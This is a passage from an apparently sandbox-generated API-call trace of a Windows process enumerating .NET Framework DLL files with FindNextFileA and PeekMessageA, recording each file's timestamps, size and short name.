ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x627da300, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x306f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Services.dll", cAlternateFileName="SY3E38~1.DLL")) returned 1 [0137.943] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.944] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67e70340, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x118d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Compression.dll", cAlternateFileName="SYCE39~1.DLL")) returned 1 [0137.944] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.944] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67f54b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7100, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Compression.FileSystem.dll", cAlternateFileName="SY6475~1.DLL")) returned 1 [0137.950] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.951] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x628265c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7090, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.dll", cAlternateFileName="SYBDCB~1.DLL")) returned 1 [0137.951] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.951] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62872880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x208b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="SY95A4~1.DLL")) returned 1 [0137.951] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.952] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x628beb40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Linq.dll", cAlternateFileName="SYEBDB~1.DLL")) returned 1 [0137.952] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.952] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6297d220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Linq.Expressions.dll", cAlternateFileName="SY4138~1.DLL")) returned 1 [0137.952] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.952] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x629c94e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Linq.Parallel.dll", cAlternateFileName="SY4072~1.DLL")) returned 1 [0137.953] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.953] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62a157a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Linq.Queryable.dll", cAlternateFileName="SY5B6B~1.DLL")) returned 1 [0137.953] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.954] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x680ab7e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x646c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.dll", cAlternateFileName="SYFB8C~1.DLL")) returned 1 [0137.954] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.954] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62aadd20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x23708, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="SYD55F~1.DLL")) returned 1 [0137.954] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.955] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x680f7aa0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x428b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Messaging.dll", cAlternateFileName="SY97DB~1.DLL")) returned 1 [0137.955] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.955] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62b462a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3ec98, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="SY5740~1.DLL")) returned 1 [0137.955] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.955] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x68143d60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x30eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.Http.dll", cAlternateFileName="SY6CD0~1.DLL")) returned 1 [0137.955] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.956] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62bb86c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.Http.Rtc.dll", cAlternateFileName="SYEB6A~1.DLL")) returned 1 [0137.956] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.956] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x68190020, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xc6f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.Http.WebRequest.dll", cAlternateFileName="SY598E~1.DLL")) returned 1 [0137.956] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.957] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62c04980, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7708, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.NetworkInformation.dll", cAlternateFileName="SYAC0F~1.DLL")) returned 1 [0137.957] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.957] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62c50c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.Primitives.dll", cAlternateFileName="SY0CA5~1.DLL")) returned 1 [0137.957] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.958] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62c9cf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.Requests.dll", cAlternateFileName="SYE1A5~1.DLL")) returned 1 [0137.958] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.958] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62c9cf00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7110, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.WebHeaderCollection.dll", cAlternateFileName="SY89EF~1.DLL")) returned 1 [0137.958] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.958] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x681b6180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x21ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Numerics.dll", cAlternateFileName="SYAECC~1.DLL")) returned 1 [0137.959] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.959] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x681b6180, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Numerics.Vectors.dll", cAlternateFileName="SY82A2~1.DLL")) returned 1 [0137.959] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.959] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62cc3060, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ObjectModel.dll", cAlternateFileName="SY2CAA~1.DLL")) returned 1 [0137.959] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.960] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x68202440, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1a4f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Reflection.context.dll", cAlternateFileName="SYEB00~1.DLL")) returned 1 [0137.960] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.960] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62d81740, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Reflection.dll", cAlternateFileName="SY154E~1.DLL")) returned 1 [0137.960] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.960] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62dcda00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Reflection.Emit.dll", cAlternateFileName="SY0FDB~1.DLL")) returned 1 [0137.961] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.961] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62df3b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7330, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Reflection.Emit.ILGeneration.dll", cAlternateFileName="SY5B43~1.DLL")) returned 1 [0137.961] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.961] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62e3fe20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7328, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Reflection.Emit.Lightweight.dll", cAlternateFileName="SYB133~1.DLL")) returned 1 [0137.961] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.962] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62e8c0e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7300, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Reflection.Extensions.dll", cAlternateFileName="SY6A92~1.DLL")) returned 1 [0137.962] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.962] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62eb2240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7300, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Reflection.Primitives.dll", cAlternateFileName="SYA4C9~1.DLL")) returned 1 [0137.965] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.966] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62efe500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7318, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Resources.ResourceManager.dll", cAlternateFileName="SY615A~1.DLL")) returned 1 [0137.966] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.966] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x65fca800, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1a378, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Caching.dll", cAlternateFileName="SY5DBC~1.DLL")) returned 1 [0137.966] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.967] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62f24660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x92b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.dll", cAlternateFileName="SY7D82~1.DLL")) returned 1 [0137.967] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.967] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62f70920, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2a318, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.DurableInstancing.dll", cAlternateFileName="SY835A~1.DLL")) returned 1 [0137.967] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.967] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62fe2d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Extensions.dll", cAlternateFileName="SYC502~1.DLL")) returned 1 [0137.967] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.968] FindNextFileA (in: hFindFile=0x502598, 